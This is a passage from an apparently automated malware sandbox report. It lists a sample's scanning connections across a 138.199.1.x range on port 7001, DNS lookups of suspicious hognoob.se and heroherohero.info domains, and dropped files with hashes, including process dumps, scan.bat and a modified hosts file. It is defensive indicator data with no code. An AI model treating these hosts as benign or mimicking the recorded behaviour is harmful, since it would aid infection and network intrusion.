                                                    52 B
                                                    1
                                                  • 138.199.1.29:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.30:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.31:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.32:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.33:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.34:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.35:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.36:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.37:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.38:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.39:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.40:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.41:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.42:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.43:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.44:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.45:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.46:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.47:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.48:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.49:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.50:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.51:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.52:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.53:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.54:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.55:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.56:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.57:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.58:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.59:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.60:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.61:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.62:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.63:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.64:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.65:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.66:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.67:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.68:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.69:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.70:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.71:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.72:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.73:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.74:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.75:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.76:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.77:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.78:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.80:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.79:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.81:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.82:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.83:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.84:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.85:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.86:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.87:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.88:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.89:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.90:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.91:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.92:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.93:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.94:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.95:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.96:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.97:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.98:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.99:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.100:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.101:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.102:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.103:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.104:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.105:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.106:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.107:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.108:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.109:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.110:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.111:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.112:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.113:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.114:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.115:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.116:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.117:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.118:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.119:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.120:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.121:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.122:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.123:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.124:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.125:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.126:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.127:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.128:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.129:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.130:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.131:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.132:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.133:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.134:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.135:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.136:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.137:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.138:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.139:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.140:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.141:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.142:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.143:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.144:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.145:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.146:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.147:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.148:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.149:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.150:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.151:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.152:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.153:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.154:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.155:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.156:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.157:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.158:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.159:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.160:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.161:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.162:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.163:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.164:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.165:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.166:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.167:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.168:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.169:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.170:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.171:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.172:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.173:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.174:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.175:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.176:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.177:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.178:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.179:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.180:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.181:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.182:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.183:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.184:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.185:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.186:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.187:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.188:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.189:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.190:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.191:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.192:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.193:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.194:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.195:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.196:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.197:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.198:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.200:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.199:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.201:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.202:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.204:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.203:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.206:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.205:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.207:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.208:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.209:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.210:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.211:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.212:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.213:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.214:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.215:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.216:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.217:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.218:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.220:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.221:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.222:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.219:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.223:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.224:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.225:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.226:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.227:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.228:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.229:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 138.199.1.230:7001
                                                    tngpwuarc.exe
                                                    52 B
                                                    1
                                                  • 8.8.8.8:53
                                                    uio.hognoob.se
                                                    dns
                                                    ezhglhb.exe
                                                    60 B
                                                    136 B
                                                    1
                                                    1

                                                    DNS Request

                                                    uio.hognoob.se

                                                  • 8.8.8.8:53
                                                    uio.heroherohero.info
                                                    dns
                                                    ezhglhb.exe
                                                    67 B
                                                    83 B
                                                    1
                                                    1

                                                    DNS Request

                                                    uio.heroherohero.info

                                                    DNS Response

                                                    114.55.89.54

                                                  • 8.8.8.8:53
                                                    2019.ip138.com
                                                    dns
                                                    ezhglhb.exe
                                                    120 B
                                                    158 B
                                                    2
                                                    1

                                                    DNS Request

                                                    2019.ip138.com

                                                    DNS Request

                                                    2019.ip138.com

                                                    DNS Response

                                                    59.57.14.11
                                                    110.81.155.138
                                                    59.57.13.133
                                                    110.81.155.137
                                                    59.57.13.182

                                                  • 8.8.8.8:53
                                                    haq.hognoob.se
                                                    dns
                                                    huzbeq.exe
                                                    60 B
                                                    136 B
                                                    1
                                                    1

                                                    DNS Request

                                                    haq.hognoob.se

                                                  • 8.8.8.8:53
                                                    pxi.hognoob.se
                                                    dns
                                                    ebvheg.exe
                                                    60 B
                                                    136 B
                                                    1
                                                    1

                                                    DNS Request

                                                    pxi.hognoob.se

                                                  • 8.8.8.8:53
                                                    pxx.hognoob.se
                                                    dns
                                                    ebvheg.exe
                                                    60 B
                                                    136 B
                                                    1
                                                    1

                                                    DNS Request

                                                    pxx.hognoob.se

                                                  • 8.8.8.8:53
                                                    ifconfig.me
                                                    dns
                                                    ezhglhb.exe
                                                    57 B
                                                    73 B
                                                    1
                                                    1

                                                    DNS Request

                                                    ifconfig.me

                                                    DNS Response

                                                    34.160.111.145

                                                  • 8.8.8.8:53
                                                    r10.o.lencr.org
                                                    dns
                                                    ezhglhb.exe
                                                    61 B
                                                    160 B
                                                    1
                                                    1

                                                    DNS Request

                                                    r10.o.lencr.org

                                                    DNS Response

                                                    2.23.210.75
                                                    2.23.210.82

                                                  MITRE ATT&CK Enterprise v15

                                                  Replay Monitor

                                                  Loading Replay Monitor...

                                                  Downloads

                                                  • C:\Windows\SysWOW64\Packet.dll

                                                    Filesize

                                                    95KB

                                                    MD5

                                                    86316be34481c1ed5b792169312673fd

                                                    SHA1

                                                    6ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5

                                                    SHA256

                                                    49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918

                                                    SHA512

                                                    3a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc

                                                  • C:\Windows\SysWOW64\wpcap.dll

                                                    Filesize

                                                    275KB

                                                    MD5

                                                    4633b298d57014627831ccac89a2c50b

                                                    SHA1

                                                    e5f449766722c5c25fa02b065d22a854b6a32a5b

                                                    SHA256

                                                    b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

                                                    SHA512

                                                    29590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3

                                                  • C:\Windows\TEMP\luqeipyhy\1004.dmp

                                                    Filesize

                                                    4.5MB

                                                    MD5

                                                    8d26f00dde27489e6caa9283c5e29641

                                                    SHA1

                                                    b1755d9e50223216795e4a1d0c2574aa350d0f52

                                                    SHA256

                                                    692fc18277195cf445bebc56d6e537b3abf45e033f65c8890d6ce303c217ae82

                                                    SHA512

                                                    bae4467b04dc01147b4ee812f622f90f4644273467164f9c761ba16f15c06039adedb3e246a8c9cf55bbf53f9e454c5025cad25e87edd513f09a591c66afb132

                                                  • C:\Windows\TEMP\luqeipyhy\1104.dmp

                                                    Filesize

                                                    1.4MB

                                                    MD5

                                                    544024c7e50e69298229e15b976c1788

                                                    SHA1

                                                    9dd26c14b753c151426020437e0dbd4a4d740e7f

                                                    SHA256

                                                    3067fcca821ad73cad5353337b889b5404e31e4ac479b8844183ebe4276ba233

                                                    SHA512

                                                    d20bc05c40c6b14ab59cffc29bb319af1e0b4e043cabfa12e7ef76cd4280416d32547e41de9779cd3e45664f88fbbddf8d55463bebd5a034cf7133e4b6a84aea

                                                  • C:\Windows\TEMP\luqeipyhy\1164.dmp

                                                    Filesize

                                                    1.3MB

                                                    MD5

                                                    6216b3488f866f9e44b72aef26c9f7cd

                                                    SHA1

                                                    07cf011e3e77bf857e0eabaac0ed5b099fe69e80

                                                    SHA256

                                                    c68b1b73ad111bce74d76e725bd82f2fbcf41575851251d32cb285ade416c6f0

                                                    SHA512

                                                    6e481a7ef6b40d6e91b314586da9315e7e02db9d4c14ddaa642a2611925fc2fe3c3bba3b842748bb763371aec4701f2d24456b9635d28e41c4f19dbb968d30bd

                                                  • C:\Windows\TEMP\luqeipyhy\1228.dmp

                                                    Filesize

                                                    5.1MB

                                                    MD5

                                                    fe31a72ac57391e375b13a2c8f0b5ed4

                                                    SHA1

                                                    cbde4ca5b45f844a2038d8c1d6e5391d9e69f6d6

                                                    SHA256

                                                    e4e4cd6d5ff393de22ee394818c5f7fd3ccc14ce651bc8be1d10620732ad3d2b

                                                    SHA512

                                                    6781ed55da10f043bea945977f46a532d5532c79021ff0ff26bddb8056df317489acb9e82572e3fad0a7512ca789e7cc849cede836295562aaa1208339de8369

                                                  • C:\Windows\TEMP\luqeipyhy\1612.dmp

                                                    Filesize

                                                    3.9MB

                                                    MD5

                                                    9dabb651e93da959a398af0261037879

                                                    SHA1

                                                    1a4abcabfb9b02af785458b08c1b5a292f5355bf

                                                    SHA256

                                                    27941e0f60191bfced67eb94421cf633a59041d220677eb62a34339bc172684b

                                                    SHA512

                                                    0b7abf610b9c1a7c04bc569626942c5d42c09af1c6e6dcdb8aa375f5503eaecc4a3915163a28a19373a5f9713d377151ada71a0877e74b98fa5e2664fa6ee647

                                                  • C:\Windows\TEMP\luqeipyhy\2236.dmp

                                                    Filesize

                                                    851KB

                                                    MD5

                                                    d32649a0fdb4b2185bf63e20c430231d

                                                    SHA1

                                                    045c524bd2570e3a57b9fd4d113088192f2e14a5

                                                    SHA256

                                                    d41ecb6b66a7caa7e3f5d02baa947313e2b33e9386763f09ca661a5084a6a567

                                                    SHA512

                                                    b92d2905f41d4c4fbc97a292cbdbaf7525f74b1a4cda0de733ea494db662ccd16af2a6e362dea52ea392a665881401fedd71c30b7501b46188f813e75b5f9f84

                                                  • C:\Windows\TEMP\luqeipyhy\2964.dmp

                                                    Filesize

                                                    7.2MB

                                                    MD5

                                                    ea4a37ef6bd1f205b8670bc2514f0a1f

                                                    SHA1

                                                    c4b606d38224b761be67fac12146264206cf3280

                                                    SHA256

                                                    18042745ec5a321cd2d6a7cb18b08112b9e8810151f0abab1e25da22edc0faca

                                                    SHA512

                                                    cfa947b46930d3bb3eeebece149e2c4e109bf27d6ba63d03404d930d0f62cb8345a6c859023599796b3687a6973d10a482ec7f2fb4f7a8fbbbca899b61a116ee

                                                  • C:\Windows\TEMP\luqeipyhy\876.dmp

                                                    Filesize

                                                    2.1MB

                                                    MD5

                                                    ebe73c90bb267849bf9a93f329fba716

                                                    SHA1

                                                    ed91d8d3a01594cf167dfa4768daee47171be07b

                                                    SHA256

                                                    603a0a22f46ea0faf265a3bc3f41891710569b822871de9e3982376af9bebb5e

                                                    SHA512

                                                    b4e864f423a6d6f1ff57cf85b8c136612ee0a0e0fa11511bf5bcc55078f59a8ab782e42d5dc079ad79ec4046ce34f9410f47bf6f26f7dc302a3b19de105b7f20

                                                  • C:\Windows\TEMP\qbiqevuaz\config.json

                                                    Filesize

                                                    693B

                                                    MD5

                                                    f2d396833af4aea7b9afde89593ca56e

                                                    SHA1

                                                    08d8f699040d3ca94e9d46fc400e3feb4a18b96b

                                                    SHA256

                                                    d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34

                                                    SHA512

                                                    2f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01

                                                  • C:\Windows\Temp\qbiqevuaz\ebvheg.exe

                                                    Filesize

                                                    343KB

                                                    MD5

                                                    2b4ac7b362261cb3f6f9583751708064

                                                    SHA1

                                                    b93693b19ebc99da8a007fed1a45c01c5071fb7f

                                                    SHA256

                                                    a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23

                                                    SHA512

                                                    c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616

                                                  • C:\Windows\luqeipyhy\mqugtegqu\ip.txt

                                                    Filesize

                                                    160B

                                                    MD5

                                                    3f60b09053c00ed37bafef485ededf2b

                                                    SHA1

                                                    5d186c1b52e0f35013fd45443600f8fe48cf087f

                                                    SHA256

                                                    f8da4305f6bec6a4625a79aeefc46409d8ff1c954aef223a305154b7f97599c5

                                                    SHA512

                                                    e303725229ee6effd09fb75b1777d48e33457e70eb6f30ef2d2ab0584fd24c2378e4a2c069bcae159c73ad0b9d79eb20724191caedccbbc6b6757481b3114d4c

                                                  • C:\Windows\luqeipyhy\mqugtegqu\scan.bat

                                                    Filesize

                                                    160B

                                                    MD5

                                                    1d2eb17a49591f3f117e91dff055c0dd

                                                    SHA1

                                                    a336f5703efb71e1406c5e38c18f0ad6f7cdca7e

                                                    SHA256

                                                    08091ffd4b5ba97c4607f56593bab52412f97abcfb19bc89d4b9fccdd77c1989

                                                    SHA512

                                                    e2162c9f59e44741725ca391c66882af56a080c0096dd8ae26bde647f8b20bcd2d1eed6ee4a12a13f1c9062dd98c5b1c862dd2a352a00eb65b28e241adc1e642

                                                  • C:\Windows\luqeipyhy\mqugtegqu\wpcap.exe

                                                    Filesize

                                                    424KB

                                                    MD5

                                                    e9c001647c67e12666f27f9984778ad6

                                                    SHA1

                                                    51961af0a52a2cc3ff2c4149f8d7011490051977

                                                    SHA256

                                                    7ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d

                                                    SHA512

                                                    56f0cff114def2aeda0c2c8bd9b3abcacef906187a253ea4d943b3f1e1ca52c452d82851348883288467a8c9a09d014910c062325964bcfe9618d7b58056e1fe

                                                  • C:\Windows\system32\drivers\etc\hosts

                                                    Filesize

                                                    975B

                                                    MD5

                                                    b5d815ff5310f62de5020591be598bc0

                                                    SHA1

                                                    8013562b0cc2516d16d474308c8982a31b7f5dd0

                                                    SHA256

                                                    a7ea603e6e80aed429a34b68ca8210ae3b082cf6104646ed7f8025c3b304ae85

                                                    SHA512

                                                    4e3175ef0c289e1beea60f51239a98533690505b709f778703502dad3f72e3c7e9aa26e1a3837712ed5e1344e28e5ccff1d63a1245352bbc8435a71e15347a94

                                                  • \Windows\Temp\luqeipyhy\bzbucveta.exe

                                                    Filesize

                                                    126KB

                                                    MD5

                                                    e8d45731654929413d79b3818d6a5011

                                                    SHA1

                                                    23579d9ca707d9e00eb62fa501e0a8016db63c7e

                                                    SHA256

                                                    a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af

                                                    SHA512

